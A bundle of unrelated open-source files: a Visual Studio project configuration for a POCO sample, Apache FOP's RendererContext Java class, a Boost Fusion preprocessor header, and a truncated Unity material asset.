<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;WINVER=0x0500;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat/>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin\Binding.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateDebugInformation>false</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_mt|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;WINVER=0x0500;POCO_STATIC;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<BufferSecurityCheck>true</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;winmm.lib;iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin\static_mt\Bindingd.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<SuppressStartupBanner>true</SuppressStartupBanner>
<GenerateDebugInformation>true</GenerateDebugInformation>
<ProgramDatabaseFile>bin\static_mt\Bindingd.pdb</ProgramDatabaseFile>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='release_static_mt|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;WINVER=0x0500;POCO_STATIC;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat/>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;winmm.lib;iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin\static_mt\Binding.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateDebugInformation>false</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_md|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;WINVER=0x0500;POCO_STATIC;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<BufferSecurityCheck>true</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;winmm.lib;iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin\static_md\Bindingd.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<SuppressStartupBanner>true</SuppressStartupBanner>
<GenerateDebugInformation>true</GenerateDebugInformation>
<ProgramDatabaseFile>bin\static_md\Bindingd.pdb</ProgramDatabaseFile>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='release_static_md|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;WINVER=0x0500;POCO_STATIC;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat/>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;winmm.lib;iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin\static_md\Binding.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateDebugInformation>false</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='debug_shared|x64'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;WINVER=0x0500;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<BufferSecurityCheck>true</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin64\Bindingd.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<SuppressStartupBanner>true</SuppressStartupBanner>
<GenerateDebugInformation>true</GenerateDebugInformation>
<ProgramDatabaseFile>bin64\Bindingd.pdb</ProgramDatabaseFile>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='release_shared|x64'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;WINVER=0x0500;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat/>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin64\Binding.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateDebugInformation>false</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_mt|x64'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;WINVER=0x0500;POCO_STATIC;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<BufferSecurityCheck>true</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;winmm.lib;iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin64\static_mt\Bindingd.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<SuppressStartupBanner>true</SuppressStartupBanner>
<GenerateDebugInformation>true</GenerateDebugInformation>
<ProgramDatabaseFile>bin64\static_mt\Bindingd.pdb</ProgramDatabaseFile>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='release_static_mt|x64'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;WINVER=0x0500;POCO_STATIC;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat/>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;winmm.lib;iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin64\static_mt\Binding.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateDebugInformation>false</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='debug_static_md|x64'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;WINVER=0x0500;POCO_STATIC;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<BufferSecurityCheck>true</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;winmm.lib;iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin64\static_md\Bindingd.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<SuppressStartupBanner>true</SuppressStartupBanner>
<GenerateDebugInformation>true</GenerateDebugInformation>
<ProgramDatabaseFile>bin64\static_md\Bindingd.pdb</ProgramDatabaseFile>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='release_static_md|x64'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<OmitFramePointers>true</OmitFramePointers>
<AdditionalIncludeDirectories>.\include;..\..\..\Foundation\include;..\..\..\XML\include;..\..\..\Util\include;..\..\..\Data\include;..\..\..\Data\SQLite\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;WINVER=0x0500;POCO_STATIC;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<TreatWChar_tAsBuiltInType>true</TreatWChar_tAsBuiltInType>
<ForceConformanceInForLoopScope>true</ForceConformanceInForLoopScope>
<RuntimeTypeInfo>true</RuntimeTypeInfo>
<PrecompiledHeader/>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat/>
<CompileAs>Default</CompileAs>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<AdditionalDependencies>iphlpapi.lib;winmm.lib;iphlpapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
<OutputFile>bin64\static_md\Binding.exe</OutputFile>
<AdditionalLibraryDirectories>..\..\..\lib64;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateDebugInformation>false</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Binding.cpp">
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets"/>
<ImportGroup Label="ExtensionTargets"/>
</Project>
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/* $Id$ */
package org.apache.fop.render;
//Java
import java.util.Map;
import org.apache.fop.apps.FOUserAgent;
/**
* The Render Context for external handlers. This provides a rendering context
* so that external handlers can get information to be able to render to the
* render target.
*/
public class RendererContext {
private final String mime;
private final AbstractRenderer renderer;
private FOUserAgent userAgent;
private final Map<String, Object> props = new java.util.HashMap<String, Object>();
/**
* Constructor for this class. It takes a MIME type as parameter.
*
* @param renderer the current renderer
* @param mime the MIME type of the output that's generated.
*/
public RendererContext(AbstractRenderer renderer, String mime) {
this.renderer = renderer;
this.mime = mime;
}
/**
* @return Returns the renderer.
*/
public AbstractRenderer getRenderer() {
return renderer;
}
/**
* Returns the MIME type associated with this RendererContext.
*
* @return The MIME type (ex. application/pdf)
*/
public String getMimeType() {
return mime;
}
/**
* Sets the user agent.
*
* @param ua The user agent
*/
public void setUserAgent(FOUserAgent ua) {
userAgent = ua;
}
/**
* Returns the user agent.
*
* @return The user agent
*/
public FOUserAgent getUserAgent() {
return userAgent;
}
/**
* Sets a property on the RendererContext.
*
* @param name The key of the property
* @param val The value of the property
*/
public void setProperty(String name, Object val) {
props.put(name, val);
}
/**
* Returns a property from the RendererContext.
*
* @param prop The key of the property to return.
* @return The requested value, <code>null</code> if it doesn't exist.
*/
public Object getProperty(String prop) {
return props.get(prop);
}
/**
* Wrap the render context to allow easier access to its values.
*
* @param context the renderer context
* @return the generic renderer context wrapper
*/
public static RendererContextWrapper wrapRendererContext(RendererContext context) {
RendererContextWrapper wrapper = new RendererContextWrapper(context);
return wrapper;
}
/** {@inheritDoc} **/
public String toString() {
StringBuffer stringBuffer = new StringBuffer("RendererContext{\n");
for (Object o : props.keySet()) {
String key = (String) o;
Object value = props.get(key);
stringBuffer.append("\t" + key + "=" + value + "\n");
}
stringBuffer.append("}");
return stringBuffer.toString();
}
/**
* Base class for a wrapper around RendererContext to access its properties in a type-safe,
* renderer-specific way.
*/
public static class RendererContextWrapper {
/** The wrapped RendererContext */
protected RendererContext context;
/**
* Main constructor
* @param context the RendererContent instance
*/
public RendererContextWrapper(RendererContext context) {
this.context = context;
}
/** @return the user agent */
public FOUserAgent getUserAgent() {
return context.getUserAgent();
}
/** @return the currentXPosition */
public int getCurrentXPosition() {
return (Integer) context.getProperty(RendererContextConstants.XPOS);
}
/** @return the currentYPosition */
public int getCurrentYPosition() {
return (Integer) context.getProperty(RendererContextConstants.YPOS);
}
/** @return the width of the image */
public int getWidth() {
return (Integer) context.getProperty(RendererContextConstants.WIDTH);
}
/** @return the height of the image */
public int getHeight() {
return (Integer) context.getProperty(RendererContextConstants.HEIGHT);
}
/** @return the foreign attributes */
public Map getForeignAttributes() {
return (Map)context.getProperty(RendererContextConstants.FOREIGN_ATTRIBUTES);
}
/** {@inheritDoc} */
public String toString() {
return "RendererContextWrapper{"
+ "userAgent=" + getUserAgent()
+ "x=" + getCurrentXPosition()
+ "y=" + getCurrentYPosition()
+ "width=" + getWidth()
+ "height=" + getHeight()
+ "foreignAttributes=" + getForeignAttributes()
+ "}";
}
}
}
| {
"pile_set_name": "Github"
} |
/*=============================================================================
Copyright (c) 2001-2011 Joel de Guzman
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
==============================================================================*/
#ifndef BOOST_PP_IS_ITERATING
#if !defined(FUSION_AS_VECTOR_09222005_0950)
#define FUSION_AS_VECTOR_09222005_0950
#include <boost/preprocessor/iterate.hpp>
#include <boost/preprocessor/repetition/enum_params.hpp>
#include <boost/preprocessor/repetition/enum_binary_params.hpp>
#include <boost/preprocessor/repetition/repeat.hpp>
#include <boost/preprocessor/cat.hpp>
#include <boost/preprocessor/inc.hpp>
#include <boost/preprocessor/dec.hpp>
#include <boost/fusion/container/vector/vector.hpp>
#include <boost/fusion/iterator/value_of.hpp>
#include <boost/fusion/iterator/deref.hpp>
#include <boost/fusion/iterator/next.hpp>
namespace boost { namespace fusion { namespace detail
{
BOOST_FUSION_BARRIER_BEGIN
template <int size>
struct as_vector;
template <>
struct as_vector<0>
{
template <typename Iterator>
struct apply
{
typedef vector0<> type;
};
template <typename Iterator>
BOOST_CONSTEXPR BOOST_FUSION_GPU_ENABLED
static typename apply<Iterator>::type
call(Iterator)
{
return vector0<>();
}
};
BOOST_FUSION_BARRIER_END
}}}
#if !defined(BOOST_FUSION_DONT_USE_PREPROCESSED_FILES)
#include <boost/fusion/container/vector/detail/cpp03/preprocessed/as_vector.hpp>
#else
#if defined(__WAVE__) && defined(BOOST_FUSION_CREATE_PREPROCESSED_FILES)
#pragma wave option(preserve: 2, line: 0, output: "preprocessed/as_vector" FUSION_MAX_VECTOR_SIZE_STR ".hpp")
#endif
/*=============================================================================
Copyright (c) 2001-2011 Joel de Guzman
Distributed under the Boost Software License, Version 1.0. (See accompanying
file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
This is an auto-generated file. Do not edit!
==============================================================================*/
#if defined(__WAVE__) && defined(BOOST_FUSION_CREATE_PREPROCESSED_FILES)
#pragma wave option(preserve: 1)
#endif
namespace boost { namespace fusion { namespace detail
{
BOOST_FUSION_BARRIER_BEGIN
#define BOOST_FUSION_NEXT_ITERATOR(z, n, data) \
typedef typename fusion::result_of::next<BOOST_PP_CAT(I, n)>::type \
BOOST_PP_CAT(I, BOOST_PP_INC(n));
#define BOOST_FUSION_NEXT_CALL_ITERATOR(z, n, data) \
typename gen::BOOST_PP_CAT(I, BOOST_PP_INC(n)) \
BOOST_PP_CAT(i, BOOST_PP_INC(n)) = fusion::next(BOOST_PP_CAT(i, n));
#define BOOST_FUSION_VALUE_OF_ITERATOR(z, n, data) \
typedef typename fusion::result_of::value_of<BOOST_PP_CAT(I, n)>::type \
BOOST_PP_CAT(T, n);
#define BOOST_PP_FILENAME_1 <boost/fusion/container/vector/detail/cpp03/as_vector.hpp>
#define BOOST_PP_ITERATION_LIMITS (1, FUSION_MAX_VECTOR_SIZE)
#include BOOST_PP_ITERATE()
#undef BOOST_FUSION_NEXT_ITERATOR
#undef BOOST_FUSION_NEXT_CALL_ITERATOR
#undef BOOST_FUSION_VALUE_OF_ITERATOR
BOOST_FUSION_BARRIER_END
}}}
#if defined(__WAVE__) && defined(BOOST_FUSION_CREATE_PREPROCESSED_FILES)
#pragma wave option(output: null)
#endif
#endif // BOOST_FUSION_DONT_USE_PREPROCESSED_FILES
#endif
#else // defined(BOOST_PP_IS_ITERATING)
///////////////////////////////////////////////////////////////////////////////
//
// Preprocessor vertical repetition code
//
///////////////////////////////////////////////////////////////////////////////
#define N BOOST_PP_ITERATION()
template <>
struct as_vector<N>
{
template <typename I0>
struct apply
{
BOOST_PP_REPEAT(N, BOOST_FUSION_NEXT_ITERATOR, _)
BOOST_PP_REPEAT(N, BOOST_FUSION_VALUE_OF_ITERATOR, _)
typedef BOOST_PP_CAT(vector, N)<BOOST_PP_ENUM_PARAMS(N, T)> type;
};
template <typename Iterator>
BOOST_CXX14_CONSTEXPR BOOST_FUSION_GPU_ENABLED
static typename apply<Iterator>::type
call(Iterator const& i0)
{
typedef apply<Iterator> gen;
typedef typename gen::type result;
BOOST_PP_REPEAT(BOOST_PP_DEC(N), BOOST_FUSION_NEXT_CALL_ITERATOR, _)
return result(BOOST_PP_ENUM_PARAMS(N, *i));
}
};
#undef N
#endif // defined(BOOST_PP_IS_ITERATING)
| {
"pile_set_name": "Github"
} |
%YAML 1.1
%TAG !u! tag:unity3d.com,2011:
--- !u!21 &2100000
Material:
serializedVersion: 6
m_ObjectHideFlags: 0
m_CorrespondingSourceObject: {fileID: 0}
m_PrefabInstance: {fileID: 0}
m_PrefabAsset: {fileID: 0}
m_Name: Plastic
m_Shader: {fileID: 4800000, guid: e4be71837c1c849fda6e7e18d331e612, type: 3}
m_ShaderKeywords: _NORMALMAP
m_LightmapFlags: 4
m_EnableInstancingVariants: 0
m_DoubleSidedGI: 0
m_CustomRenderQueue: -1
stringTagMap: {}
disabledShaderPasses: []
m_SavedProperties:
serializedVersion: 3
m_TexEnvs:
- _BumpMap:
m_Texture: {fileID: 2800000, guid: bc81722627b2e0c4a84e1093079b9df3, type: 3}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _DetailAlbedoMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _DetailMask:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _DetailNormalMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _EmissionMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _MainTex:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _MetallicGlossMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _OcclusionMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
- _ParallaxMap:
m_Texture: {fileID: 0}
m_Scale: {x: 1, y: 1}
m_Offset: {x: 0, y: 0}
m_Floats:
- _BumpScale: 1
- _Cutoff: 0.5
